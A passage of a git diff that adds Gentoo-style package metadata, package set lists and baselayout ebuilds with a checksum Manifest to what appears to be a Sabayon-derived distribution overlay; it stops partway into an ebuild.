+		elog "${p} has been eselected to ${ESELECT_PROF}"
+	else
+		elog "Current eselected ${p} is ${current_lib}"
+		elog "To use ${p} ${ESELECT_PROF} implementation, you have to issue (as root):"
+		elog "\t eselect ${p} set ${ESELECT_PROF}"
+	fi
+}
diff --git a/sci-libs/gsl/metadata.xml b/sci-libs/gsl/metadata.xml
new file mode 100644
index 00000000..7ab2ed03
--- /dev/null
+++ b/sci-libs/gsl/metadata.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>sci</herd>
+  <longdescription lang="en">
+  The GNU Scientific Library (GSL) is a collection of routines for
+  numerical analysis. The routines are written from scratch by the GSL
+  team in C, and present a modern API for C programmers, while allowing
+  wrappers to be written for very high level languages.
+  
+  GSL includes data types and routines for complex numbers, vectors,
+  matrices, basic linear algebra subroutines (BLAS), eigensystems,
+  simulated annealing, minimization, root finding, pseudo-random
+  numbers, least-squares fitting, fast Fourier transforms (FFT),
+  differential equations, quadrature, Monte Carlo integration, special
+  functions, physical constants, and much more. 
+</longdescription>
+  <use>
+    <flag name="cblas-external">Link gsl with external cblas provided by
+    (<pkg>virtual/cblas</pkg>) instead of shipped internal version</flag>
+  </use>
+</pkgmetadata>
diff --git a/sets/X b/sets/X
new file mode 100644
index 00000000..1ada000f
--- /dev/null
+++ b/sets/X
@@ -0,0 +1,46 @@
+sys-apps/gpu-detector
+x11-apps/setxkbmap
+x11-apps/xdm
+x11-apps/xhost
+x11-base/xorg-server
+x11-drivers/xf86-input-acecad
+x11-drivers/xf86-input-aiptek
+x11-drivers/xf86-input-evdev
+x11-drivers/xf86-input-joystick
+x11-drivers/xf86-input-mtrack
+x11-drivers/xf86-input-mutouch
+x11-drivers/xf86-input-synaptics
+x11-drivers/xf86-input-vmmouse
+x11-drivers/xf86-input-void
+x11-drivers/xf86-input-wacom
+x11-drivers/xf86-video-apm
+x11-drivers/xf86-video-ark
+x11-drivers/xf86-video-ast
+x11-drivers/xf86-video-ati
+x11-drivers/xf86-video-cirrus
+x11-drivers/xf86-video-dummy
+x11-drivers/xf86-video-fbdev
+x11-drivers/xf86-video-glint
+x11-drivers/xf86-video-i128
+x11-drivers/xf86-video-i740
+x11-drivers/xf86-video-intel
+x11-drivers/xf86-video-mach64
+x11-drivers/xf86-video-mga
+x11-drivers/xf86-video-nouveau
+x11-drivers/xf86-video-nv
+x11-drivers/xf86-video-openchrome
+x11-drivers/xf86-video-qxl
+x11-drivers/xf86-video-r128
+x11-drivers/xf86-video-s3
+x11-drivers/xf86-video-s3virge
+x11-drivers/xf86-video-savage
+x11-drivers/xf86-video-siliconmotion
+x11-drivers/xf86-video-sis
+x11-drivers/xf86-video-sisusb
+x11-drivers/xf86-video-tdfx
+x11-drivers/xf86-video-tga
+x11-drivers/xf86-video-trident
+x11-drivers/xf86-video-v4l
+x11-drivers/xf86-video-vesa
+x11-drivers/xf86-video-vmware
+x11-drivers/xf86-video-voodoo
diff --git a/sets/claws-plugins b/sets/claws-plugins
new file mode 100644
index 00000000..b555836e
--- /dev/null
+++ b/sets/claws-plugins
@@ -0,0 +1,17 @@
+mail-client/claws-mail-acpi-notifier
+mail-client/claws-mail-archive
+mail-client/claws-mail-att-remover
+mail-client/claws-mail-attachwarner
+mail-client/claws-mail-fancy
+mail-client/claws-mail-fetchinfo
+mail-client/claws-mail-gtkhtml
+mail-client/claws-mail-mailmbox
+mail-client/claws-mail-newmail
+mail-client/claws-mail-notification
+mail-client/claws-mail-perl
+mail-client/claws-mail-python
+mail-client/claws-mail-rssyl
+mail-client/claws-mail-spam-report
+mail-client/claws-mail-tnef-parse
+mail-client/claws-mail-vcalendar
+x11-themes/claws-mail-themes
diff --git a/sets/e17 b/sets/e17
new file mode 100644
index 00000000..3060a8ec
--- /dev/null
+++ b/sets/e17
@@ -0,0 +1,4 @@
+lxde-base/lxdm
+x11-wm/enlightenment:0.17
+app-misc/rogentos-skel
+media-plugins/alsa-plugins
diff --git a/sets/entropy b/sets/entropy
new file mode 100644
index 00000000..9f6289b6
--- /dev/null
+++ b/sets/entropy
@@ -0,0 +1,11 @@
+app-misc/magneto-loader
+app-admin/rigo
+app-admin/equo
+kde-misc/magneto-kde
+sys-apps/entropy
+sys-apps/magneto-core
+sys-apps/entropy-server
+app-admin/matter
+sys-apps/rigo-daemon
+x11-misc/magneto-gtk
+x11-misc/magneto-gtk3
diff --git a/sets/entropy-no-kde b/sets/entropy-no-kde
new file mode 100644
index 00000000..161527c2
--- /dev/null
+++ b/sets/entropy-no-kde
@@ -0,0 +1,10 @@
+app-misc/magneto-loader
+app-admin/rigo
+app-admin/equo
+sys-apps/entropy
+sys-apps/magneto-core
+sys-apps/entropy-server
+app-admin/matter
+sys-apps/rigo-daemon
+x11-misc/magneto-gtk
+x11-misc/magneto-gtk3
diff --git a/sets/fluxbox b/sets/fluxbox
new file mode 100644
index 00000000..0d7b6b69
--- /dev/null
+++ b/sets/fluxbox
@@ -0,0 +1,3 @@
+@X
+x11-wm/fluxbox
+media-gfx/feh
diff --git a/sets/gnome b/sets/gnome
new file mode 100644
index 00000000..3b653202
--- /dev/null
+++ b/sets/gnome
@@ -0,0 +1,15 @@
+app-arch/file-roller
+app-cdr/brasero
+app-misc/rogentos-skel
+app-text/evince
+gnome-base/gdm
+gnome-base/gnome
+gnome-base/gnome-shell
+gnome-extra/nm-applet
+gnome-extra/gnome-media
+mail-client/evolution
+media-gfx/eog
+media-video/totem
+@X
+x11-apps/xdm
+x11-themes/kogaion-artwork-gnome
diff --git a/sets/gst-plugins b/sets/gst-plugins
new file mode 100644
index 00000000..51979dd2
--- /dev/null
+++ b/sets/gst-plugins
@@ -0,0 +1,7 @@
+media-plugins/gst-plugins-assrender
+media-plugins/gst-plugins-cdio
+media-plugins/gst-plugins-faac
+media-plugins/gst-plugins-mpeg2dec
+media-plugins/gst-plugins-mplex
+media-plugins/gst-plugins-x264
+media-plugins/gst-plugins-xvid
diff --git a/sets/gst-plugins-extra b/sets/gst-plugins-extra
new file mode 100644
index 00000000..43ab5dce
--- /dev/null
+++ b/sets/gst-plugins-extra
@@ -0,0 +1,5 @@
+media-plugins/gst-plugins-dvdread
+media-plugins/gst-plugins-dts
+media-libs/gst-plugins-good
+media-plugins/gst-plugins-pulse
+media-plugins/gst-plugins-soup
diff --git a/sets/ime-fonts b/sets/ime-fonts
new file mode 100644
index 00000000..e105ee12
--- /dev/null
+++ b/sets/ime-fonts
@@ -0,0 +1,4 @@
+# See Sabayon bug 2518
+media-fonts/arphicfonts
+media-fonts/vlgothic
+media-fonts/ja-ipafonts
diff --git a/sets/ime-fonts-support b/sets/ime-fonts-support
new file mode 100644
index 00000000..83984762
--- /dev/null
+++ b/sets/ime-fonts-support
@@ -0,0 +1,7 @@
+# Also see Sabayon bug 2518
+app-i18n/ibus-anthy
+app-i18n/ibus-hangul
+app-i18n/ibus-m17n
+app-i18n/ibus-pinyin
+
+# For KDE/Qt users, app-i18n/ibus-qt could be provided
diff --git a/sets/intel-kernels b/sets/intel-kernels
new file mode 100644
index 00000000..3e4064bf
--- /dev/null
+++ b/sets/intel-kernels
@@ -0,0 +1,4 @@
+sys-kernel/ec2-sources
+sys-kernel/linux-ec2
+sys-kernel/linux-sabayon
+sys-kernel/sabayon-sources
diff --git a/sets/lxde b/sets/lxde
new file mode 100644
index 00000000..c41fa8c8
--- /dev/null
+++ b/sets/lxde
@@ -0,0 +1,5 @@
+app-misc/rogentos-skel
+lxde-base/lxdm
+lxde-base/lxde-meta
+@wireless
+@X
diff --git a/sets/packagekit b/sets/packagekit
new file mode 100644
index 00000000..f82e44ab
--- /dev/null
+++ b/sets/packagekit
@@ -0,0 +1,4 @@
+app-admin/packagekit-base
+app-admin/packagekit-qt4
+app-admin/packagekit-gtk
+app-admin/packagekit
diff --git a/sets/rogentos-artwork b/sets/rogentos-artwork
new file mode 100644
index 00000000..b01485d0
--- /dev/null
+++ b/sets/rogentos-artwork
@@ -0,0 +1,8 @@
+x11-themes/kogaion-artwork-core
+x11-themes/rogentos-artwork-extra
+x11-themes/kogaion-artwork-gnome
+x11-themes/rogentos-artwork-grub
+x11-themes/rogentos-artwork-isolinux
+x11-themes/kogaion-artwork-kde
+x11-themes/kogaion-artwork-loo
+x11-themes/kogaion-artwork-lxde
diff --git a/sets/wireless b/sets/wireless
new file mode 100644
index 00000000..33e4a492
--- /dev/null
+++ b/sets/wireless
@@ -0,0 +1,12 @@
+sys-firmware/b43-firmware
+net-wireless/b43-fwcutter
+net-wireless/bcm43xx-fwcutter
+net-wireless/broadcom-sta
+sys-firmware/ipw2100-firmware
+sys-firmware/ipw2200-firmware
+net-wireless/ndiswrapper
+sys-firmware/zd1201-firmware
+sys-firmware/zd1211-firmware
+net-wireless/wireless-tools
+sys-apps/usb_modeswitch
+sys-kernel/linux-firmware
diff --git a/sets/xfce b/sets/xfce
new file mode 100644
index 00000000..7d853c24
--- /dev/null
+++ b/sets/xfce
@@ -0,0 +1,10 @@
+@wireless
+@X
+app-editors/leafpad
+app-misc/rogentos-skel
+media-plugins/alsa-plugins
+x11-themes/elementary-icon-theme
+xfce-base/xfce4-meta
+xfce-base/xfce4-appfinder
+xfce-extra/xfce4-power-manager
+xfce-extra/xfce4-taskmanager
diff --git a/sys-apps/baselayout/Manifest b/sys-apps/baselayout/Manifest
new file mode 100644
index 00000000..3ec3151d
--- /dev/null
+++ b/sys-apps/baselayout/Manifest
@@ -0,0 +1,11 @@
+AUX baselayout-1.12.14-iproute.patch 633 SHA256 d30480e75024953ac64a51cf7a3d54f4f975470219da2cec9ad0832b5ff6eff9 SHA512 4c8f177971d6e65b8a0d55c5b8a045f4277637e97b41a07b3a332adca2720c929c4b44ad29a59d2ad4ec521924711c8f82742ec68bc3f0b54791b38a21b2bce4 WHIRLPOOL 695d8720650571a1f49678d38be713f94d9d318f5522609bce09872d587da7b13e89d702e0a4e77072fe9f6a677bc6d8c5e818584876afe57c286c5454fe0781
+AUX baselayout-2.0.1-proc_touch.patch 528 SHA256 5c8108347da5881ba982a4c8831b846393d6c6928d6497f021633e45d6f3ab39 SHA512 c60bb20a2bf93741170d15d62b33d46284b92b2442977fe41db68e874c7f02a466a00c3f65f4e06db57598487dcc5827536afb52375a8d821ef148babb25b247 WHIRLPOOL 04d2980060c7ea1f4a101411b0bcd065009c9fe36261f214bfc52009c36092ad50819fe0b433c04b212699a6b94c7bf57ada9fd743abf35631e11ccae3c301b2
+AUX baselayout-2.0.3-slash-run-dir.patch 273 SHA256 7c797e35a721250a8961c10efeb1495fbdd759358d9b6084504ce4b47d8e4d2b SHA512 f1e01da181faafdbe660b9afc442d2d1f6650064fb15f94340ec43750e45fa3ff1179730cd1b81e591f03a82e8c45d2402bc23ac2310ef0ebb6bc762270d8a0b WHIRLPOOL ef17a9d7a90fd6be7108d316a57265cd38f2f52fd134ec37ba7328119ca1d17ac842ab9065bca4c9b21d4a552768e754c1badd69c8a568221924e0055b3eff24
+AUX baselayout-rogentos-os-release.patch 486 SHA256 5fae994ba07fd294b92c554bc901935f512b6bec99697520d7a961af48d90208 SHA512 ab6ce0ff4c942aa3d60dbab9c2013633a3162ab0707f38d7ad72c4c8d7349cf6d804eca40276ab162f745d206d04ae0eb45bda0a0f29d35aa2f86bc675427081 WHIRLPOOL 6fc230172fb907223d3f2ee297b1c3e4c36dfd7d6a17a947207ad10559475c4c9565cd1afa118c2c775b14f727157892027d78a55441ad2e33ea97bf89fee2a0
+DIST baselayout-2.0.3.tar.bz2 39969 SHA256 879308781d845f467eb2b45b9ff006aa799e943f45ddba518f43acae1ec84bdd
+DIST baselayout-2.1.tar.bz2 40398 SHA256 2ac6f2156513a2820a0eeeecc2cf7e7c0b5e0c750b324f1e21912d5f3cda4956
+DIST baselayout-2.2.tar.bz2 40744 SHA256 11d4a223b06da545c3e59e07c9195570f334b5b1be05d995df0ebc8ea2203e98 SHA512 a5199c42e835d9f2683cc94f3c4c47ecdc392316c24e0932845736e2e90479b0c5c8ad72ead8e0537f097405b7d7548d00b87b7ff8c9e3651486e3c5c0970b36 WHIRLPOOL 60cc4f7f76c5a45c15303e526decffb3bad2b50ac659b1dd072d2ed4b0eb0b31929a1a733ddb03a31ee5882b889a4efb87206f63ffaa2b11e26d36afd0933a95
+EBUILD baselayout-2.0.3-r1.ebuild 8324 SHA256 67512c59427896fa6801f7c410b6948af0fc5368994e78f8dfc3d7515cd41c44 SHA512 d1cef6c0226daf4ffea851b0a5d3e03215cc99d7f5bbe023f61f21dc2fe5ca88d236f75e9ba21c03f94c70ba3f821b1551bea4ee4b5e71dc31d21fddd078c9f6 WHIRLPOOL 4e490c6ba6945a73dc50c5d6f04861cb648f82b5b9bbbd702f4eafed511e44b7322856ed20bf4f3adf83910144d2cd6322bfcd1dc9715daaab8a4695523f62ee
+EBUILD baselayout-2.1.ebuild 8703 SHA256 f3e2bda1c1a7c805f7b0093107abcc3357362627e9110ee1eb9b6804b8e90b31 SHA512 44c3de65a97cd0f9d3cfec4944d88033d7a12d30e79c6d9e7836b3816001acd7703a36dacf75bb6e58a579951b1af80dccca322853d614c1d50274429fb3c4e5 WHIRLPOOL 69f10d3cc403e3d49d9555b855de575d8474aa6b0c1a0c7cd63dd7f5ac7bc84460dfbb3382b315549e8c0e1df79522c2161df9af0429815da129d2ad78e7f58d
+EBUILD baselayout-2.2.ebuild 9132 SHA256 2317988157c8a373747300c0598952dce05eab60d4f85c80e14e268129a4f625 SHA512 9a825db62673c2af8036c650edf893b53af3ba4eab9c409acb24b57dfb0941c1348eaec30d59e3855c7b4b6e81a07d4623a4d866c3ff192c24b99cc7fb2391b0 WHIRLPOOL 902c2b43e2146125838f657023148e9a642c20686f523995d4f879e659cf4e1ae84feeecc6b2b61e22c83eb498ee68ab71ab18b1873b5de2d58bb6cd2e475ebe
+MISC metadata.xml 164 SHA256 f5f2891f2a4791cd31350bb2bb572131ad7235cd0eeb124c9912c187ac10ce92 SHA512 8eb0d5153d388f6ea069c64b93882244816a0a09aecc0d73cb872121ce0eb24c5ccafa96aad0b620b2300f319e1af101fa7fa6c5d0d561719d49bb07da0a2eca WHIRLPOOL 11a1441bddb7a6c69653c663902b7da5767ae6ad515ac2aabfc42fe37927a1ccc21472deeee454009ff720201a41c3e4a912df42661a0a87150fb46126da2d52
diff --git a/sys-apps/baselayout/baselayout-2.0.3-r1.ebuild b/sys-apps/baselayout/baselayout-2.0.3-r1.ebuild
new file mode 100644
index 00000000..71f0cd6d
--- /dev/null
+++ b/sys-apps/baselayout/baselayout-2.0.3-r1.ebuild
@@ -0,0 +1,243 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/baselayout/baselayout-2.0.3.ebuild,v 1.4 2011/07/02 18:26:47 williamh Exp $
+
+inherit eutils multilib
+
+DESCRIPTION="Filesystem baselayout and init scripts"
+HOMEPAGE="http://www.gentoo.org/"
+SRC_URI="mirror://gentoo/${P}.tar.bz2
+	http://dev.gentoo.org/~vapier/dist/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~sparc-fbsd ~x86-fbsd"
+IUSE="build kernel_linux"
+
+PDEPEND="sys-apps/openrc"
+
+pkg_preinst() {
+	# Bug #217848 - Since the remap_dns_vars() called by pkg_preinst() of
+	# the baselayout-1.x ebuild copies all the real configs from the user's
+	# /etc/conf.d into ${D}, it makes them all appear to be the default
+	# versions. In order to protect them from being unmerged after this
+	# upgrade, modify their timestamps.
+	touch "${ROOT}"/etc/conf.d/* 2>/dev/null
+
+	# This is written in src_install (so it's in CONTENTS), but punt all
+	# pending updates to avoid user having to do etc-update (and make the
+	# pkg_postinst logic simpler).
+	rm -f "${ROOT}"/etc/._cfg????_gentoo-release
+
+	# We need to install directories and maybe some dev nodes when building
+	# stages, but they cannot be in CONTENTS.
+	# Also, we cannot reference $S as binpkg will break so we do this.
+	if use build ; then
+		local libdirs="$(get_all_libdirs)" dir=
+		# Create our multilib dirs - the Makefile has no knowledge of this
+		: ${libdirs:=lib}	# it isn't that we don't trust multilib.eclass...
+		for dir in ${libdirs}; do
+			mkdir -p "${ROOT}${dir}"
+			touch "${ROOT}${dir}"/.keep
+			mkdir -p "${ROOT}usr/${dir}"
+			touch "${ROOT}usr/${dir}"/.keep
+			mkdir -p "${ROOT}usr/local/${dir}"
+			touch "${ROOT}usr/local/${dir}"/.keep
+		done
+
+		# Create symlinks for /lib, /usr/lib, and /usr/local/lib and
+		# merge contents of duplicate directories if necessary.
+		# Only do this when $ROOT != / since it should only be necessary
+		# when merging to an empty $ROOT, and it's not very safe to perform
+		# this operation when $ROOT = /.
+		if [ "${SYMLINK_LIB}" = yes ] && [ "$ROOT" != / ] ; then
+			local prefix libabi=$(get_abi_LIBDIR $DEFAULT_ABI)
+			for prefix in "$ROOT"{,usr/,usr/local/} ; do
+
+				[ ! -d "${prefix}lib" ] && rm -f "${prefix}lib" && \
+					mkdir -p "${prefix}lib"
+
+				[ ! -d "$prefix$libabi" ] && ln -sf "${prefix}lib"
+
+				[ -h "$prefix$libabi" ] && [ -d "${prefix}lib" ] && \
+					[ "$prefix$libabi" -ef "${prefix}lib" ] && continue
+
+				local destdir=$prefix$libabi/ srcdir=${prefix}lib/
+
+				[ -d "$destdir" ] || die "unable to create '$destdir'"
+				[ -d "$srcdir" ] || die "unable to create $srcdir"
+
+				mv -f "$srcdir".keep "$destdir".keep 2>/dev/null
+				if ! rmdir "$srcdir" 2>/dev/null ; then
+					ewarn "merging contents of '$srcdir' into '$destdir':"
+
+					# Move directories if the dest doesn't exist.
+					find "$srcdir" -type d -print0 | \
+					while read -d $'\0' src ; do
+
+						# If a parent directory of $src has already
+						# been merged then it will no longer exist.
+						[ -d "$src" ] || continue
+
+						dest=$destdir${src#${srcdir}}
+						if [ ! -d "$dest" ] ; then
+							if [ -e "$dest" ] ; then
+								ewarn "  not overwriting file '$dest'" \
+									"with directory '$src'"
+								continue
+							fi
+							mv -f "$src" "$dest" && \
+								ewarn "  /${src#${ROOT}} merged" || \
+								ewarn "  /${src#${ROOT}} not merged"
+						fi
+					done
+
+					# Move non-directories.
+					find "$srcdir" ! -type d -print0 | \
+					while read -d $'\0' src ; do
+						dest=$destdir${src#${srcdir}}
+						if [ -e "$dest" ] ; then
+							if [ -d "$dest" ] ; then
+								ewarn "  not overwriting directory '$dest'" \
+									"with file '$src'"
+							else
+								if [ -f "$src" -a ! -s "$src" ] && \
+									[ -f "$dest" -a ! -s "$dest" ] ; then
+									# Ignore empty files such as '.keep'.
+									true
+								else
+									ewarn "  not overwriting file '$dest'" \
+										"with file '$src'"
+								fi
+							fi
+							continue
+						fi
+
+						mv -f "$src" "$dest" && \
+							ewarn "  /${src#${ROOT}} merged" || \
+							ewarn "  /${src#${ROOT}} not merged"
+					done
+				fi
+
+				rm -rf "${prefix}lib" || \
+					die "unable to remove '${prefix}lib'"
+
+				ln -s "$libabi" "${prefix}lib" || \
+					die "unable to create '${prefix}lib' symlink"
+			done
+		fi
+
+		emake -C "${D}/usr/share/${PN}" DESTDIR="${ROOT}" layout || die "failed to layout filesystem"
+	fi
+	rm -f "${D}"/usr/share/${PN}/Makefile
+
+	# Sabayon customization, protect /etc/hosts from removal (from older ebuilds)
+	local etc_hosts="${ROOT}/etc/hosts"
+	if [ -e "${etc_hosts}" ]; then
+		cp -p "${etc_hosts}" "${etc_hosts}.baselayout_ebuild_backup" # don't die
+	fi
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+	epatch "${FILESDIR}/${P}-slash-run-dir.patch"
+}
+
+src_install() {
+	local libdir="lib"
+	[[ ${SYMLINK_LIB} == "yes" ]] && libdir=$(get_abi_LIBDIR "${DEFAULT_ABI}")
+
+	# Setup /run directory, this is missing from original baselayout
+	dodir /run
+
+	emake \
+		OS=$(use kernel_FreeBSD && echo BSD || echo Linux) \
+		LIB=${libdir} \
+		DESTDIR="${D}" \
+		install || die
+	dodoc ChangeLog.svn
+
+	# need the makefile in pkg_preinst
+	insinto /usr/share/${PN}
+	doins Makefile || die
+
+	# Should this belong in another ebuild? Like say binutils?
+	# List all the multilib libdirs in /etc/env/04multilib (only if they're
+	# actually different from the normal
+	if has_multilib_profile || [ $(get_libdir) != "lib" -o -n "${CONF_MULTILIBDIR}" ]; then
+		local libdirs="$(get_all_libdirs)" libdirs_env= dir=
+		: ${libdirs:=lib}	# it isn't that we don't trust multilib.eclass...
+		for dir in ${libdirs}; do
+			libdirs_env=${libdirs_env:+$libdirs_env:}/${dir}:/usr/${dir}:/usr/local/${dir}
+		done
+
+		# Special-case uglyness... For people updating from lib32 -> lib amd64
+		# profiles, keep lib32 in the search path while it's around
+		if has_multilib_profile && [ -d "${ROOT}"lib32 -o -d "${ROOT}"lib32 ] && ! hasq lib32 ${libdirs}; then
+			libdirs_env="${libdirs_env}:/lib32:/usr/lib32:/usr/local/lib32"
+		fi
+		echo "LDPATH=\"${libdirs_env}\"" > "${T}"/04multilib
+		doenvd "${T}"/04multilib
+	fi
+
+	# rc-scripts version for testing of features that *should* be present
+	echo "Gentoo Base System release ${PV}" > "${D}"/etc/gentoo-release
+
+	# Sabayon customization, install /etc/hosts separately (to .example)
+	mv "${D}"/etc/hosts "${D}"/etc/hosts.example || die "cannot move /etc/hosts"
+}
+
+pkg_postinst() {
+	local x
+
+	# We installed some files to /usr/share/baselayout instead of /etc to stop
+	# (1) overwriting the user's settings
+	# (2) screwing things up when attempting to merge files
+	# (3) accidentally packaging up personal files with quickpkg
+	# If they don't exist then we install them
+	for x in master.passwd passwd shadow group fstab ; do
+		[ -e "${ROOT}etc/${x}" ] && continue
+		[ -e "${ROOT}usr/share/baselayout/${x}" ] || continue
+		cp -p "${ROOT}usr/share/baselayout/${x}" "${ROOT}"etc
+	done
+
+	# Force shadow permissions to not be world-readable #260993
+	for x in shadow ; do
+		[ -e "${ROOT}etc/${x}" ] && chmod o-rwx "${ROOT}etc/${x}"
+	done
+
+	# Take care of the etc-update for the user
+	if [ -e "${ROOT}"/etc/._cfg0000_gentoo-release ] ; then
+		mv "${ROOT}"/etc/._cfg0000_gentoo-release "${ROOT}"/etc/gentoo-release
+	fi
+
+	# whine about users that lack passwords #193541
+	if [[ -e ${ROOT}/etc/shadow ]] ; then
+		local bad_users=$(sed -n '/^[^:]*::/s|^\([^:]*\)::.*|\1|p' "${ROOT}"/etc/shadow)
+		if [[ -n ${bad_users} ]] ; then
+			echo
+			ewarn "The following users lack passwords!"
+			ewarn ${bad_users}
+		fi
+	fi
+
+	# whine about users with invalid shells #215698
+	if [[ -e ${ROOT}/etc/passwd ]] ; then
+		local bad_shells=$(awk -F: 'system("test -e " $7) { print $1 " - " $7}' /etc/passwd | sort)
+		if [[ -n ${bad_shells} ]] ; then
+			echo
+			ewarn "The following users have non-existent shells!"
+			ewarn "${bad_shells}"
+		fi
+	fi
+
+	# Sabayon customization, copy /etc/hosts back in place if it doesn't exist
+	local etc_hosts="${ROOT}/etc/hosts"
+	if [ -e "${etc_hosts}.baselayout_ebuild_backup" ]; then
+		cp -p "${etc_hosts}.baselayout_ebuild_backup" "${etc_hosts}" # don't die
+	elif [ ! -e "${etc_hosts}" ]; then
+		cp -p "${etc_hosts}.example" "${etc_hosts}" # don't die
+	fi
+	chown root:root "${etc_hosts}" # don't die
+}
diff --git a/sys-apps/baselayout/baselayout-2.1.ebuild b/sys-apps/baselayout/baselayout-2.1.ebuild
new file mode 100644
index 00000000..5f9115c5
--- /dev/null
+++ b/sys-apps/baselayout/baselayout-2.1.ebuild
@@ -0,0 +1,245 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/baselayout/baselayout-2.1.ebuild,v 1.6 2011/12/09 03:48:47 vapier Exp $
+
+inherit eutils multilib
+
+DESCRIPTION="Filesystem baselayout and init scripts"
+HOMEPAGE="http://www.gentoo.org/"
+SRC_URI="mirror://gentoo/${P}.tar.bz2
+	http://dev.gentoo.org/~vapier/dist/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~sparc-fbsd ~x86-fbsd"
+IUSE="build"
+
+PDEPEND="sys-apps/openrc"
+
+pkg_setup() {
+	multilib_layout
+}
+
+# Create our multilib dirs - the Makefile has no knowledge of this
+multilib_warn() {
+	local syms=$1 dirs=$2 def_libdir=$3
+
+	[ -z "${syms}${dirs}" ] && return
+
+	ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB}, so that means"
+	if [ -z "${syms}" ] ; then
+		ewarn "you need to have these paths as symlinks to ${def_libdir}:"
+		ewarn "$1"
+	fi
+}
+multilib_layout() {
+	local libdir libdirs=$(get_all_libdirs) def_libdir=$(get_abi_LIBDIR $DEFAULT_ABI)
+	: ${libdirs:=lib}	# it isn't that we don't trust multilib.eclass...
+
+	[ -z "${def_libdir}" ] && die "your DEFAULT_ABI=$DEFAULT_ABI appears to be invalid"
+
+	# figure out which paths should be symlinks and which should be directories
+	local dirs syms exp d
+	for libdir in ${libdirs} ; do
+		exp=( {,usr/,usr/local/}${libdir} )
+		for d in "${exp[@]/#/${ROOT}}" ; do
+			# most things should be dirs
+			if [ "${SYMLINK_LIB}" = "yes" ] && [ "${libdir}" = "lib" ] ; then
+				[ ! -h "${d}" ] && [ -e "${d}" ] && dirs+=" ${d}"
+			else
+				[ -h "${d}" ] && syms+=" ${d}"
+			fi
+		done
+	done
+	if [ -n "${syms}${dirs}" ] ; then
+		ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB:-no}, so that means you need to"
+		ewarn "have these paths configured as follows:"
+		[ -n "${dirs}" ] && ewarn "symlinks to '${def_libdir}':${dirs}"
+		[ -n "${syms}" ] && ewarn "directories:${syms}"
+		ewarn "The ebuild will attempt to fix these, but only for trivial conversions."
+		ewarn "If things fail, you will need to manually create/move the directories."
+		echo
+	fi
+
+	# setup symlinks and dirs where we expect them to be; do not migrate
+	# data ... just fall over in that case.
+	local prefix
+	for prefix in "${ROOT}"{,usr/,usr/local/} ; do
+		if [ "${SYMLINK_LIB}" = yes ] ; then
+			# we need to make sure "lib" points to the native libdir
+			if [ -h "${prefix}lib" ] ; then
+				# it's already a symlink!  assume it's pointing to right place ...
+				continue
+			elif [ -d "${prefix}lib" ] ; then
+				# "lib" is a dir, so need to convert to a symlink
+				ewarn "Converting ${prefix}lib from a dir to a symlink"
+				rm -f "${prefix}lib"/.keep
+				if rmdir "${prefix}lib" 2>/dev/null ; then
+					ln -s ${def_libdir} "${prefix}lib" || die
+				else
+					die "non-empty dir found where we needed a symlink: ${prefix}lib"
+				fi
+			else
+				# nothing exists, so just set it up sanely
+				ewarn "Initializing ${prefix}lib as a symlink"
+				mkdir -p "${prefix}" || die
+				rm -f "${prefix}lib" || die
+				ln -s ${def_libdir} "${prefix}lib" || die
+			fi
+		else
+			# we need to make sure "lib" is a dir
+			if [ -h "${prefix}lib" ] ; then
+				# "lib" is a symlink, so need to convert to a dir
+				ewarn "Converting ${prefix}lib from a symlink to a dir"
+				rm -f "${prefix}lib" || die
+				if [ -d "${prefix}lib32" ] ; then
+					ewarn "Migrating ${prefix}lib32 to ${prefix}lib"
+					mv "${prefix}lib32" "${prefix}lib" || die
+				else
+					mkdir -p "${prefix}lib" || die
+				fi
+			elif [ -d "${prefix}lib" ] ; then
+				# make sure the old "lib" ABI location does not exist; we
+				# only symlinked the lib dir on systems where we moved it
+				# to "lib32" ...
+				case ${CHOST} in
+				i?86*|x86_64*|powerpc*|sparc*|s390*)
+					if [ -d "${prefix}lib32" ] ; then
+						rm -f "${prefix}lib32"/.keep
+						if ! rmdir "${prefix}lib32" 2>/dev/null ; then
+							ewarn "You need to merge ${prefix}lib32 into ${prefix}lib"
+							die "non-empty dir found where there should be none: ${prefix}lib32"
+						fi
+					fi
+					;;
+				esac
+			else
+				# nothing exists, so just set it up sanely
+				ewarn "Initializing ${prefix}lib as a dir"
+				mkdir -p "${prefix}" || die
+				rm -f "${prefix}lib" || die
+				ln -s ${def_libdir} "${prefix}lib" || die
+			fi
+		fi
+	done
+}
+
+pkg_preinst() {
+	# Bug #217848 - Since the remap_dns_vars() called by pkg_preinst() of
+	# the baselayout-1.x ebuild copies all the real configs from the user's
+	# /etc/conf.d into ${D}, it makes them all appear to be the default
+	# versions. In order to protect them from being unmerged after this
+	# upgrade, modify their timestamps.
+	touch "${ROOT}"/etc/conf.d/* 2>/dev/null
+
+	# This is written in src_install (so it's in CONTENTS), but punt all
+	# pending updates to avoid user having to do etc-update (and make the
+	# pkg_postinst logic simpler).
+	rm -f "${ROOT}"/etc/._cfg????_gentoo-release
+
+	# We need to install directories and maybe some dev nodes when building
+	# stages, but they cannot be in CONTENTS.
+	# Also, we cannot reference $S as binpkg will break so we do this.
+	multilib_layout
+	if use build ; then
+		emake -C "${D}/usr/share/${PN}" DESTDIR="${ROOT}" layout || die
+	fi
+	rm -f "${D}"/usr/share/${PN}/Makefile
+
+	# Sabayon customization, protect /etc/hosts from removal (from older ebuilds)
+	local etc_hosts="${ROOT}/etc/hosts"
+	if [ -e "${etc_hosts}" ]; then
+		cp -p "${etc_hosts}" "${etc_hosts}.baselayout_ebuild_backup" # don't die
+	fi
+}
+
+src_install() {
